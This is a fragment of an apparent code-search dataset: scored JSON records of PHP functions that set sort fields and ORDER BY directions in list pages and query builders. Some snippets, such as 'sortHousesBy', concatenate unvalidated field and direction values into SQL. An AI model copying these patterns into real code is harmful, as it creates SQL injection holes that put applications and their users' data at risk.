"80dba69e6f716a8e7bb09e4b7725e587", "score": "0.61504817", "text": "function SetUpSortOrder() {\r\n\r\n\t\t// Check for \"order\" parameter\r\n\t\tif (@$_GET[\"order\"] <> \"\") {\r\n\t\t\t$this->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\r\n\t\t\t$this->CurrentOrderType = @$_GET[\"ordertype\"];\r\n\t\t\t$this->UpdateSort($this->vl_media_id); // vl_media_id\r\n\t\t\t$this->UpdateSort($this->vl_media_type); // vl_media_type\r\n\t\t\t$this->UpdateSort($this->vl_media_name); // vl_media_name\r\n\t\t\t$this->UpdateSort($this->vl_media_file); // vl_media_file\r\n\t\t\t$this->UpdateSort($this->vl_media_file_custom); // vl_media_file_custom\r\n\t\t\t$this->setStartRecordNumber(1); // Reset start position\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "cba2580dbede921691a63124e8a9ea52", "score": "0.61345387", "text": "function SetUpSortOrder() {\n global $avance_producto;\n\n // Check for an Order parameter\n if (@$_GET[\"order\"] <> \"\") {\n $avance_producto->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\n $avance_producto->CurrentOrderType = @$_GET[\"ordertype\"];\n $avance_producto->UpdateSort($avance_producto->idConsultoria); // Field \n $avance_producto->UpdateSort($avance_producto->idCronograma); // Field \n $avance_producto->setStartRecordNumber(1); // Reset start position\n }\n }", "title": "" }, { "docid": "4912b8a29481e3370f7b6c5bcb93e605", "score": "0.6080678", "text": "protected function addOrderBy() {\n foreach ($this->sort as $sort) {\n $sort['field'] = empty($sort['field']) ? 'id' : $sort['field'];\n $sort_object = $sort['direction'] == 'ASC' ? \\r\\Asc($sort['field']) : \\r\\Desc($sort['field']);\n $this->table = $this->table->orderBy($sort_object);\n }\n return $this;\n }", "title": "" }, { "docid": "cd585336edf33f0477e8b1f59cc3bda4", "score": "0.60803884", "text": "public function setListOrders() {\n\n parent::setListOrders();\n\n if (!$this->_helper()->checkVersion('1.4.0.0') && \n $this->getListBlock() && \n ($this->getListBlock()->getSortBy() == 'relevance') ){\n\n $this->getListBlock()\n ->setDefaultDirection('asc');\n }\n return $this;\n }", "title": "" }, { "docid": "cc0083227f5f0be8227219a80f7d50d7", "score": "0.60525566", "text": "public function OrderBy($field, $dir = 'ASC') {\n $field = $this->GetDbName($field);\n $this->_order[] = \"`$field` $dir\";\n return $this;\n }", "title": "" }, { "docid": "2031eb0a26645d3880161d14b6fdd59d", "score": "0.60514826", "text": "public function orderBy($field, $direction = Builder::DIR_DEFAULT)\n {\n $direction = $direction ?: static::DIR_DEFAULT;\n $this->orderBy[] = $this->compileField($field);\n\n if (!in_array($direction, static::SORTING_DIRS)) {\n throw new InvalidSortingDirectionException($direction);\n }\n\n $this->sortDir[] = $direction;\n\n if ($field === '_score') {\n $this->useScores = true;\n }\n\n return $this;\n }", "title": "" }, { "docid": "a736033a361455528107f10882275be2", "score": "0.6046741", "text": "function setOrder($order)\n\t{\n\t\tif (strcasecmp($order, 'asc') === 0 || strcasecmp($order, 'desc') === 0) \n {\n\t\t\t$this->order = strtolower($order);\n\t\t}\n\t\treturn $this->order;\n\t}", "title": "" }, { "docid": "25095f7cd080f6816c7317804e890144", "score": "0.6037837", "text": "private function get_order_direction_options() {\n $selected_direction = isset( $this->slide_settings['order'] ) ? $this->slide_settings['order'] : 'DESC';\n\n $options = array(\n __( 'DESC', \"metasliderpro\" ) => 'DESC',\n __( 'ASC', \"metasliderpro\" ) => 'ASC'\n );\n\n $html = \"<select name='attachment[{$this->slide->ID}][settings][order]'>\";\n\n foreach ( $options as $title => $value ) {\n $selected = $value == $selected_direction ? \"selected='selected'\" : \"\";\n $html .= \"<option value='{$value}' {$selected}>{$title}</option>\";\n }\n\n $html .= \"</select>\";\n\n return $html;\n }", "title": "" }, { "docid": "9ef04850d54cef31004d210a3ce6351e", "score": "0.6032731", "text": "public function orderBy($column, $direction = self::DIRECTION_ASCENDING, $args = []);", "title": "" }, { "docid": "582af256c5ff5faca75c2f0c5134db76", "score": "0.60307056", "text": "function SetUpSortOrder() {\n\n\t\t// Check for Ctrl pressed\n\t\t$bCtrl = (@$_GET[\"ctrl\"] <> \"\");\n\n\t\t// Check for \"order\" parameter\n\t\tif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$this->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\n\t\t\t$this->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$this->UpdateSort($this->IDXDAFTAR, $bCtrl); // IDXDAFTAR\n\t\t\t$this->UpdateSort($this->TGLREG, $bCtrl); // TGLREG\n\t\t\t$this->UpdateSort($this->NOMR, $bCtrl); // NOMR\n\t\t\t$this->UpdateSort($this->KDPOLY, $bCtrl); // KDPOLY\n\t\t\t$this->UpdateSort($this->KDCARABAYAR, $bCtrl); // KDCARABAYAR\n\t\t\t$this->UpdateSort($this->SHIFT, $bCtrl); // SHIFT\n\t\t\t$this->UpdateSort($this->NIP, $bCtrl); // NIP\n\t\t\t$this->UpdateSort($this->MASUKPOLY, $bCtrl); // MASUKPOLY\n\t\t\t$this->setStartRecordNumber(1); // Reset start position\n\t\t}\n\t}", "title": "" }, { "docid": "cf771a3f9e2dba352b233212f5e19ab1", "score": "0.6013448", "text": "function SetUpSortOrder() {\n\n\t\t// Check for Ctrl pressed\n\t\t$bCtrl = (@$_GET[\"ctrl\"] <> \"\");\n\n\t\t// Check for \"order\" parameter\n\t\tif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$this->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\n\t\t\t$this->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$this->UpdateSort($this->NoKontrak, $bCtrl); // NoKontrak\n\t\t\t$this->UpdateSort($this->TglKontrak, $bCtrl); // TglKontrak\n\t\t\t$this->UpdateSort($this->nasabah_id, $bCtrl); // nasabah_id\n\t\t\t$this->UpdateSort($this->Pinjaman, $bCtrl); // Pinjaman\n\t\t\t$this->UpdateSort($this->LamaAngsuran, $bCtrl); // LamaAngsuran\n\t\t\t$this->UpdateSort($this->Bunga, $bCtrl); // Bunga\n\t\t\t$this->UpdateSort($this->Denda, $bCtrl); // Denda\n\t\t\t$this->UpdateSort($this->DispensasiDenda, $bCtrl); // DispensasiDenda\n\t\t\t$this->UpdateSort($this->AngsuranPokok, $bCtrl); // AngsuranPokok\n\t\t\t$this->UpdateSort($this->AngsuranBunga, $bCtrl); // AngsuranBunga\n\t\t\t$this->UpdateSort($this->AngsuranTotal, $bCtrl); // AngsuranTotal\n\t\t\t$this->UpdateSort($this->NoKontrakRefTo, $bCtrl); // NoKontrakRefTo\n\t\t\t$this->setStartRecordNumber(1); // Reset start position\n\t\t}\n\t}", "title": "" }, { "docid": "1ace8122801b904532bb2652f909471a", "score": "0.6011014", "text": "public function sortingAsc() {\n return $this->getOrderBy('sorting');\n }", "title": "" }, { "docid": "4c3436a3a0d3f9763206df765d4c0204", "score": "0.6002403", "text": "public function setOrder($field, $direction = self::SORT_ORDER_DESC)\n {\n $this->_orders = array($field => $direction);\n return $this;\n }", "title": "" }, { "docid": "cc7bf8f4fdbb5d85f7e1ee6d2b6373ee", "score": "0.6001725", "text": "public function orderBy(string $column, string $direction = 'ASC'): static;", "title": "" }, { "docid": "bddcc944958ae7fec91633c884c98fef", "score": "0.59851474", "text": "function SetUpSortOrder() {\n\n\t\t// Check for Ctrl pressed\n\t\t$bCtrl = (@$_GET[\"ctrl\"] <> \"\");\n\n\t\t// Check for \"order\" parameter\n\t\tif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$this->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\n\t\t\t$this->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$this->UpdateSort($this->nomr, $bCtrl); // nomr\n\t\t\t$this->UpdateSort($this->ket_tgllahir, $bCtrl); // ket_tgllahir\n\t\t\t$this->UpdateSort($this->ket_alamat, $bCtrl); // ket_alamat\n\t\t\t$this->UpdateSort($this->statusbayar, $bCtrl); // statusbayar\n\t\t\t$this->UpdateSort($this->masukrs, $bCtrl); // masukrs\n\t\t\t$this->UpdateSort($this->noruang, $bCtrl); // noruang\n\t\t\t$this->UpdateSort($this->nott, $bCtrl); // nott\n\t\t\t$this->setStartRecordNumber(1); // Reset start position\n\t\t}\n\t}", "title": "" }, { "docid": "ec288914db49ac2c84f6a4c4ad302f16", "score": "0.5981158", "text": "public function default_order_by()\r\n {\r\n $this->db->order_by('boxes.id');\r\n }", "title": "" }, { "docid": "eaf161eb8452ef5941965e83f13a2bf7", "score": "0.5963336", "text": "public static function orderBy($field = \"id\", $direction = \"ASC\"){ // done\n\n self::$_orderBy = \" ORDER BY $field $direction\";\n\n return new static;\n\n }", "title": "" }, { "docid": "37ebee37c8fe9775e609512826bcb211", "score": "0.59575677", "text": "public function set_sortorder($val)\n {\n switch( $val ) {\n case self::RESULT_SORTORDER_ASC:\n case self::RESULT_SORTORDER_DESC:\n $this->_sortorder = $val;\n break;\n\n default:\n throw new CmsException('Invalid sortorder value: '.$val);\n }\n }", "title": "" }, { "docid": "bebdc0a5d18b084fae89e556893f6f42", "score": "0.5953302", "text": "public function setDirection($direction) {\n if ($direction == -1 || $direction == 1 ||$direction == null)\n $this->setOptionNumeric(\"direction\", $direction);\n }", "title": "" }, { "docid": "ca500214d2ffc8c5e395e7f200edd5ad", "score": "0.5939236", "text": "private function getOrderDirection()\n {\n $orderDirection = Yii::$app->request->get('orderDirection', VideoRepositoryContract::ORDER_DIRECTION_DESC);\n $orderDirection = strtoupper($orderDirection);\n\n $allowedOrderDirection = [\n VideoRepositoryContract::ORDER_DIRECTION_ASC,\n VideoRepositoryContract::ORDER_DIRECTION_DESC,\n ];\n if (!in_array($orderDirection, $allowedOrderDirection, true)) {\n $orderDirection = VideoRepositoryContract::ORDER_DIRECTION_DESC;\n }\n\n return $orderDirection;\n }", "title": "" }, { "docid": "648bcc107fce2488ea7a665ebf235dad", "score": "0.592105", "text": "function getSortOrder() { return $this->get('sort_order'); }", "title": "" }, { "docid": "c052f9d13b4b5221978be274b1544cce", "score": "0.59192634", "text": "function setSortFields($sortBy, $sortDir) { //{{{\n global $solr, $sortFields;\n \n if (isset($sortFields[$sortBy])) {\n $solr->setSortFields(array($sortFields[$sortBy] => \n \"asc\" == $sortDir ? SolrQuery::ORDER_ASC : \n SolrQuery::ORDER_DESC));\n }\n}", "title": "" }, { "docid": "89698679782df38f7269e157d2543982", "score": "0.5915537", "text": "public function orderBy($order, $val = \"ASC\"){\n \n $this->order = \" ORDER BY $order $val \";\n \n \n return $this;\n }", "title": "" }, { "docid": "64291b60612d069abd89491dfb22bb53", "score": "0.59153736", "text": "protected function set_order_by($order)\n {\n //error_log(\"set order by: \" . print_r($order,1));\n if (!is_array($order))\n $order = array($order => \"ASC\");\n $this->order_by_clause_order = $order;\n }", "title": "" }, { "docid": "d29709f511f9b253b66865376756005e", "score": "0.5901685", "text": "public function getSortOrder();", "title": "" }, { "docid": "24274a2730765c33b9de9db9238db478", "score": "0.59014076", "text": "function SetUpSortOrder() {\n\t\tglobal $NhanVien;\n\n\t\t// Check for \"order\" parameter\n\t\tif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$NhanVien->CurrentOrder = ew_StripSlashes(@$_GET[\"order\"]);\n\t\t\t$NhanVien->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$NhanVien->UpdateSort($NhanVien->NhanVienID); // NhanVienID\n\t\t\t$NhanVien->UpdateSort($NhanVien->HoTen); // HoTen\n\t\t\t$NhanVien->UpdateSort($NhanVien->NgaySinh); // NgaySinh\n\t\t\t$NhanVien->UpdateSort($NhanVien->GioiTinh); // GioiTinh\n\t\t\t$NhanVien->UpdateSort($NhanVien->DanToc); // DanToc\n\t\t\t$NhanVien->UpdateSort($NhanVien->TonGiao); // TonGiao\n\t\t\t$NhanVien->UpdateSort($NhanVien->SoCMND); // SoCMND\n\t\t\t$NhanVien->UpdateSort($NhanVien->NgayCapCMND); // NgayCapCMND\n\t\t\t$NhanVien->UpdateSort($NhanVien->NoiCapCMND); // NoiCapCMND\n\t\t\t$NhanVien->UpdateSort($NhanVien->DiaChi); // DiaChi\n\t\t\t$NhanVien->UpdateSort($NhanVien->DienThoai); // DienThoai\n\t\t\t$NhanVien->UpdateSort($NhanVien->zEmail); // Email\n\t\t\t$NhanVien->UpdateSort($NhanVien->IsGiaoVien); // IsGiaoVien\n\t\t\t$NhanVien->UpdateSort($NhanVien->ChucVuID); // ChucVuID\n\t\t\t$NhanVien->UpdateSort($NhanVien->TrinhDoID); // TrinhDoID\n\t\t\t$NhanVien->UpdateSort($NhanVien->BacLuong); // BacLuong\n\t\t\t$NhanVien->UpdateSort($NhanVien->HeSoLuong); // HeSoLuong\n\t\t\t$NhanVien->UpdateSort($NhanVien->LuongCoBan); // LuongCoBan\n\t\t\t$NhanVien->UpdateSort($NhanVien->LuongNgay); // LuongNgay\n\t\t\t$NhanVien->UpdateSort($NhanVien->NgayNangLuong); // NgayNangLuong\n\t\t\t$NhanVien->UpdateSort($NhanVien->NgayVaoLamViec); // NgayVaoLamViec\n\t\t\t$NhanVien->UpdateSort($NhanVien->DaNghiViec); // DaNghiViec\n\t\t\t$NhanVien->UpdateSort($NhanVien->NgayNghiViec); // NgayNghiViec\n\t\t\t$NhanVien->UpdateSort($NhanVien->IsDangVien); // IsDangVien\n\t\t\t$NhanVien->UpdateSort($NhanVien->NgayVaoDang); // NgayVaoDang\n\t\t\t$NhanVien->UpdateSort($NhanVien->SoTheDang); // SoTheDang\n\t\t\t$NhanVien->UpdateSort($NhanVien->ThanhPhanGiaDinh); // ThanhPhanGiaDinh\n\t\t\t$NhanVien->UpdateSort($NhanVien->HoTenCha); // HoTenCha\n\t\t\t$NhanVien->UpdateSort($NhanVien->NamSinhCha); // NamSinhCha\n\t\t\t$NhanVien->UpdateSort($NhanVien->NgheNghiepCha); // NgheNghiepCha\n\t\t\t$NhanVien->UpdateSort($NhanVien->HoTenMe); // HoTenMe\n\t\t\t$NhanVien->UpdateSort($NhanVien->NamSinhMe); // NamSinhMe\n\t\t\t$NhanVien->UpdateSort($NhanVien->NgheNghiepMe); // NgheNghiepMe\n\t\t\t$NhanVien->UpdateSort($NhanVien->DiaChiChaMe); // DiaChiChaMe\n\t\t\t$NhanVien->UpdateSort($NhanVien->DienThoaiChaMe); // DienThoaiChaMe\n\t\t\t$NhanVien->UpdateSort($NhanVien->HoTenVoChong); // HoTenVoChong\n\t\t\t$NhanVien->UpdateSort($NhanVien->NamSinhVoChong); // NamSinhVoChong\n\t\t\t$NhanVien->UpdateSort($NhanVien->NgheNghiepVoChong); // NgheNghiepVoChong\n\t\t\t$NhanVien->UpdateSort($NhanVien->DienThoaiVoChong); // DienThoaiVoChong\n\t\t\t$NhanVien->UpdateSort($NhanVien->Ho); // Ho\n\t\t\t$NhanVien->UpdateSort($NhanVien->Ten); // Ten\n\t\t\t$NhanVien->UpdateSort($NhanVien->LoaiHopDong); // LoaiHopDong\n\t\t\t$NhanVien->setStartRecordNumber(1); // Reset start position\n\t\t}\n\t}", "title": "" }, { "docid": "2fe9ca8605d60aba5f74ae4fe92c5416", "score": "0.5900828", "text": "public function findAll($orderColumn = 'created_at', $orderDir = 'desc')\n {\n }", "title": "" }, { "docid": "b90c88764bc1d2e7d5dc81dc1dfe6fbf", "score": "0.5895439", "text": "public function orderBy($field, $direction = DaoMap::SORT_ASC)\n {\n $this->_orderBy[$field] = $direction;\n return $this;\n }", "title": "" }, { "docid": "6ac536fa030dd4d0859d0a0140cedf75", "score": "0.5892581", "text": "public function asc(): self\n {\n $this->queryParams['direction'] = 'asc';\n\n return $this;\n }", "title": "" }, { "docid": "78f5e3e732af07bb8ff77bdd51f1b646", "score": "0.58921945", "text": "protected function getDirectionAttribute()\n {\n return ( request()->has('direction') ) ? (string) request()->get('direction') : 'asc';\n }", "title": "" }, { "docid": "a062b06b0bdc798ed546877a7e21ea52", "score": "0.58817977", "text": "function addSortOrder($field, $direction=\"ASC\")\r\n\t{\r\n\t\t$this->objList->addSortOrder($field, $direction);\r\n\t}", "title": "" }, { "docid": "b08b3a98db35f6a5e2fbc4630cb37e86", "score": "0.58734894", "text": "public function orderBy( $column, $type = ezcSearchQueryTools::ASC );", "title": "" }, { "docid": "06693c36e1b050ad4f036347270f81c7", "score": "0.5873463", "text": "public function reorder($column = null, $direction = 'asc');", "title": "" }, { "docid": "07d8a9b68ba598ecf55203388f1d51e0", "score": "0.5831802", "text": "public function getSortDirection()\n {\n $value = $this->get(self::SORTDIRECTION);\n return $value === null ? (integer)$value : $value;\n }", "title": "" }, { "docid": "aefa90e926c25c2bf61bc7a3efaddf60", "score": "0.5826092", "text": "public function sort($sortOrderBy, $sortDirection = SolrInputDocument::SORT_ASC) {}", "title": "" }, { "docid": "5ad81d75f7b9c5afaf95dcdfdf0d42de", "score": "0.5824508", "text": "function setMySortOrder ($sortOrder) { $this->_mySortOrder = $sortOrder; return 1;}", "title": "" }, { "docid": "b90de4c3824a32c8972d2464184cee87", "score": "0.581922", "text": "function order_by($orderby, $direction = '')\n\t{\n\t\t$this->db->order_by($orderby, $direction);\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "b567dbdbfb0a52b36c4235a92d3c6cfd", "score": "0.5817588", "text": "protected function _prepareOrderBy()\n\t{\n\t\t$sql = $this->_sql;\n\n\t\tforeach ($this->_orderBy AS $order) {\n\t\t\tif ($order instanceof Part\\OrderDir) {\n\t\t\t\t$direction = ' ' . $order->orderDir;\n\t\t\t\t$order = $order->order;\n\t\t\t} else {\n\t\t\t\t$direction = false;\n\t\t\t}\n\n\t\t\t$orderSql = $order->prepare($this, 'order', array(), $sql, $this->_resultHandler);\n\t\t\tif ($orderSql->hasValue()) {\n\t\t\t\t$sql->addOrderBy($orderSql->ordered() . $direction);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "c04551200aa696bc5c314c6a1df99af6", "score": "0.5816807", "text": "public function sortBy(string $field)\n {\n $this->sortBy = $field;\n\n $this->sortDirection = $this->sortBy === $field\n ? $this->reverseSort()\n : 'asc';\n }", "title": "" }, { "docid": "f7db9878029ff055d591f13bffd3b3e0", "score": "0.5810798", "text": "public function getPrioritized($direction = 'asc') {}", "title": "" }, { "docid": "f41864b407c84e2905583da4148e8bf5", "score": "0.57911724", "text": "public function defaultOrderDirection($order_direction='DESC')\n\t{\n\t\tif(strtolower($order_direction) == 'asc' || strtolower($order_direction) == 'desc'){\n\t\t\t$this->defaultOrderDirection($order_direction);\n\t\t}\n\t\t\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "dc6f8e6b1d8871e1b95b310e6a82c10b", "score": "0.5787805", "text": "protected function get_ordering()\n {\n if($this->check_mDataprop())\n $mColArray = $this->get_mDataprop();\n else if($this->_request('sColumns'))\n $mColArray = explode(',', $this->_request('sColumns'));\n else\n $mColArray = $this->_dataSource->columnNames;\n\n $mColArray = array_values(array_diff($mColArray, $this->_dataSource->unsetColumns));\n $columns = array_values(array_diff($this->_dataSource->columnNames, $this->_dataSource->unsetColumns));\n\n if($this->_request('iSortingCols'))\n $this->_dataSource->resetOrderBy(); #Xoá các sắp xếp mặc định\n for($i = 0; $i < intval($this->_request('iSortingCols')); $i++)\n {\n if(isset($mColArray[intval($this->_request('iSortCol_' . $i))])\n && in_array($mColArray[intval($this->_request('iSortCol_' . $i))], $columns)\n && $this->_request('bSortable_'.intval($this->_request('iSortCol_' . $i))) == 'true')\n {\n $this->_dataSource->order_by($mColArray[intval($this->_request('iSortCol_' . $i))], $this->_request('sSortDir_' . $i));\n }\n }\n }", "title": "" }, { "docid": "55ff7672f2049c1f703ce97c85e3beee", "score": "0.5786319", "text": "function closing_column_orderby( $query ) { \n\t if( ! is_admin() ) \n\t return; \n\t\t $orderby = $query->get( 'orderby'); \n\n\t if( 'Order' == $orderby ) { \n\t $query->set('orderby','menu_order'); \n\t } \n\t}", "title": "" }, { "docid": "936b65f7522b2f21bf0c3215052af296", "score": "0.57779247", "text": "public function providePropertyAndDirectionToGetEntityOrderedQueryBuilder()\n {\n yield [\n '',\n '',\n '',\n ];\n\n yield [\n 'first_name',\n '',\n 'qb.first_name ASC',\n ];\n\n yield [\n 'first_name',\n 'asc',\n 'qb.first_name asc',\n ];\n\n yield [\n 'first_name',\n 'ASC',\n 'qb.first_name ASC',\n ];\n\n yield [\n 'first_name',\n 'desc',\n 'qb.first_name desc',\n ];\n\n yield [\n 'first_name',\n 'DESC',\n 'qb.first_name DESC',\n ];\n }", "title": "" }, { "docid": "ca886cf9ac95556726047b343dd92ed3", "score": "0.57740974", "text": "public function orderby($orderby, $orderdir) {\n\t\tif (!is_array($orderby)) {\n\t\t\t$orderby = array($orderby);\n\t\t}\n\t\tif (!is_array($orderdir)) {\n\t\t\t$orderdir = array($orderdir);\n\t\t}\n\t\t$orderstring = '';\n\t\tforeach ($orderby as $i => $fieldname) {\n\t\t\tif (count($this->field_array) > 0) {\n\t\t\t\tif (!empty($fieldname) && !isset($this->field_array[$fieldname]) &&\n\t\t\t\t\t!in_array('*', $this->field_array)) {\n\t\t\t\t\t$this->select_string .= ',' . $fieldname;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!empty($fieldname)) {\n\t\t\t\t$orderstring .= $fieldname . ' ' . (!empty($orderdir[$i]) ? $orderdir[$i] : 'ASC') . ', ';\n\t\t\t}\n\t\t}\n\t\tif (!empty($orderstring)){\n\t\t\t$orderstring = substr($orderstring, 0, -2);\n\t\t\t$this->order_string = 'ORDER BY ' . $orderstring;\n\t\t} else {\n\t\t\t$this->order_string = '';\n\t\t}\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "d7d493f5c0e75baf915793bd04253e3e", "score": "0.5773713", "text": "public function setDataOrder($order = 'nameAsc');", "title": "" }, { "docid": "ce3ac6d8a1ad9e9134f9a4bf9e64b1af", "score": "0.57708246", "text": "function getSortOrder() {\t\t\n\t\t$order = strtoupper(GET::getText('order'));\n\t\tif ($order != 'DESC') {\n\t\t\t$order = 'ASC';\n\t\t}\n\t\treturn $order;\n\t}", "title": "" }, { "docid": "a0f992aa3711f15b5106a8d5809393ac", "score": "0.57655746", "text": "public function setSorting()\n {\n $sort = $this->request->get('sort');\n if(empty($sort) && empty($this->defaultSortField)) {\n $this->sortField = '';\n $this->sortDirection = '';\n } else {\n if(empty($sort)) {\n $arr = explode('.', $this->defaultSortField);\n } else {\n $arr = explode('.', $sort);\n }\n if(empty($arr[0])) {\n $this->sortField = '';\n $this->sortDirection = '';\n } elseif(count($arr) == 1 || empty($arr[1])) {\n $this->sortField = $arr[0];\n $this->sortDirection = 'ASC';\n $this->sortReverse = $this->sortField . '.desc';\n } else {\n $this->sortField = $arr[0];\n if(strtolower($arr[1]) == 'desc') {\n $this->sortDirection = 'DESC';\n $this->sortReverse = $this->sortField . '.asc';\n } else {\n $this->sortDirection = 'ASC';\n $this->sortReverse = $this->sortField . '.desc';\n }\n }\n\n if( !$this->em->getClassMetadata(Product::class)->hasField($this->sortField) ) {\n $this->sortField = '';\n $this->sortDirection = '';\n }\n }\n }", "title": "" }, { "docid": "e27dacd5d11735222f5e8932ed3a32be", "score": "0.57634145", "text": "function SetUpSortOrder() {\n\t\tglobal $frm_9_m_sa_units_contributor;\n\n\t\t// Check for \"order\" parameter\n\t\tif (@$_GET[\"order\"] <> \"\") {\n\t\t\t$frm_9_m_sa_units_contributor->CurrentOrder = up_StripSlashes(@$_GET[\"order\"]);\n\t\t\t$frm_9_m_sa_units_contributor->CurrentOrderType = @$_GET[\"ordertype\"];\n\t\t\t$frm_9_m_sa_units_contributor->UpdateSort($frm_9_m_sa_units_contributor->CU); // CU\n\t\t\t$frm_9_m_sa_units_contributor->UpdateSort($frm_9_m_sa_units_contributor->DU_Office_Name); // DU Office Name\n\t\t\t$frm_9_m_sa_units_contributor->UpdateSort($frm_9_m_sa_units_contributor->ConU_Office_Name); // ConU Office Name\n\t\t\t$frm_9_m_sa_units_contributor->UpdateSort($frm_9_m_sa_units_contributor->ConU_Short_Name); // ConU Short Name\n\t\t\t$frm_9_m_sa_units_contributor->UpdateSort($frm_9_m_sa_units_contributor->Personnel_Count); // Personnel Count\n\t\t\t$frm_9_m_sa_units_contributor->UpdateSort($frm_9_m_sa_units_contributor->MFO_1); // MFO 1\n\t\t\t$frm_9_m_sa_units_contributor->UpdateSort($frm_9_m_sa_units_contributor->MFO_2); // MFO 2\n\t\t\t$frm_9_m_sa_units_contributor->UpdateSort($frm_9_m_sa_units_contributor->MFO_3); // MFO 3\n\t\t\t$frm_9_m_sa_units_contributor->UpdateSort($frm_9_m_sa_units_contributor->MFO_4); // MFO 4\n\t\t\t$frm_9_m_sa_units_contributor->UpdateSort($frm_9_m_sa_units_contributor->MFO_5); // MFO 5\n\t\t\t$frm_9_m_sa_units_contributor->UpdateSort($frm_9_m_sa_units_contributor->STO); // STO\n\t\t\t$frm_9_m_sa_units_contributor->UpdateSort($frm_9_m_sa_units_contributor->GASS_AB); // GASS AB\n\t\t\t$frm_9_m_sa_units_contributor->UpdateSort($frm_9_m_sa_units_contributor->GASS_CD); // GASS CD\n\t\t\t$frm_9_m_sa_units_contributor->UpdateSort($frm_9_m_sa_units_contributor->GASS); // GASS\n\t\t\t$frm_9_m_sa_units_contributor->setStartRecordNumber(1); // Reset start position\n\t\t}\n\t}", "title": "" }, { "docid": "757cfa370c783e89592ece8ba6b0b867", "score": "0.5756694", "text": "public function setOrderByMenuOrder($dir = 'asc')\n {\n $this->getSelect()->order('menu_order ' . $dir);\n\n return $this;\n }", "title": "" }, { "docid": "ebe862818e2d8ff4316fab9bb766ec5c", "score": "0.5725333", "text": "function orderBy($column_name, $type = \"asc\")\n {\n if (isset($this->sql[\"orderby\"]) == false) {\n $this->sql[\"orderby\"] = array();\n }\n $this->sql[\"orderby\"][] = array(\"COLUMN\" => $column_name, \"ORDER_TYPE\" => $type);\n return $this;\n }", "title": "" }, { "docid": "110af114d35bd91a990f2cb695b34ed2", "score": "0.57200307", "text": "function sortOrder($order){\n if(!$order){\n return 'ASC';\n }\n return strtoupper($order) == 'DESC' ? 'DESC' : 'ASC';\n}", "title": "" }, { "docid": "76632a127e0b181785774026b31b6455", "score": "0.5719871", "text": "function setSortOrder( $fieldName ) \n {\n // if fieldName is given\n if ($fieldName != '') {\n\t $this->sortBy = '';\n\n\t \t$sortFields = explode(',', $fieldName);\n\t \treset($sortFields);\n\t \tforeach(array_keys($sortFields) as $k)\n\t \t{\n\t\t \t$fieldName = current($sortFields);\n\t if ( in_array($fieldName, $this->fields) ) {\n\t \n\t $this->sortBy .= $fieldName.',';\n\t }\n\t next($sortFields);\n }\n \n if ($this->sortBy != '')\n {\n\t $this->sortBy = substr($this->sortBy,0,-1);\n }\n \n } // end if fieldName given\n \n }", "title": "" }, { "docid": "e1c6e141ac9e697db958447c54b74c93", "score": "0.5717183", "text": "private function addOrderByToQuery()\r\n {\r\n if (!empty($this->orderBy)) {\r\n $this->query .= \" ORDER BY \".$this->orderBy;\r\n }\r\n }", "title": "" }, { "docid": "5b37573e9018b4326ac2b444ae15f838", "score": "0.570342", "text": "public function orderByDate($columns, $direction = 'asc')\n {\n return $this->addDateBasedOrderBy('Date', $columns, $direction);\n }", "title": "" }, { "docid": "45e9b2e0cedb72d7eb41e00ece2834d0", "score": "0.5703025", "text": "public function setOrderingChanges($order, $direction)\r\n {\r\n // init vars\r\n $directions = array('asc', 'desc');\r\n $matchedField = '';\r\n\r\n // make sure we are ordering by the correct field\r\n $defaultField = array();\r\n $fields = $this->getFields();\r\n foreach ($fields as $field => $options) {\r\n\r\n // store the default field incase on other field is matched\r\n if (in_array($options['order'], $directions)) {\r\n $defaultField = $field;\r\n }\r\n\r\n // checks for either a matching field\r\n if (isset($options['order']) && $order === $field && $options['order'] !== false) {\r\n $matchedField = $field;\r\n }\r\n }\r\n\r\n // if no field was matched, use the default field\r\n if (!$matchedField) {\r\n $matchedField = $defaultField;\r\n }\r\n\r\n // get the data based on the field name\r\n $options = $fields[$matchedField];\r\n $aliasedField = $options['alias'].'.'.$matchedField;\r\n $directionString = in_array($direction, $directions) ? $direction : ($options['order'] !== true ? $options['order'] : 'asc');\r\n\r\n // add the order to the query builder\r\n if ($aliasedField !== '' && $directionString !== '') {\r\n $this->queryBuilder->orderBy($aliasedField, $directionString);\r\n }\r\n\r\n return array('order' => $matchedField, 'direction' => $directionString);\r\n }", "title": "" }, { "docid": "524a87689fc042a3fa2d309c99ecf091", "score": "0.56989413", "text": "function sort($fieldname, $direction = \"ASC\") {\n\t\t\n\t}", "title": "" }, { "docid": "c1aebbd25a48269a55697cdfee6bc993", "score": "0.5694123", "text": "public function orderBy($field, $direction = self::ORDER_ASCENDING)\n {\n if (self::ORDER_ASCENDING != $direction && self::ORDER_DESCENDING != $direction) {\n throw new InternalContentSyncError('Unknown order direction '.$direction);\n }\n\n $this->arguments['order_by'][$field] = $direction;\n\n return $this;\n }", "title": "" }, { "docid": "432a5b1a32e914864328bbfc74162209", "score": "0.56876355", "text": "public function order_by($column, $direction = 'asc') {\n\t\t$this->orderings[] = compact('column', 'direction');\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "50808af305079f5602c66b2f75d5f371", "score": "0.5679749", "text": "function sortHousesBy($param, $direction){\n global $db;\n $sql = \"SELECT * FROM house ORDER BY \".$param.\" \".$direction;\n $stmt = $db->prepare($sql);\n $stmt->execute();\n return $stmt->fetchALL();\n }", "title": "" }, { "docid": "fed069dd8da8c5266c8732dda59b85b6", "score": "0.56660414", "text": "public function setSortOrder($field, $direction)\n {\n $this->_sortOrder = array(array($field . ' ' . $direction));\n return 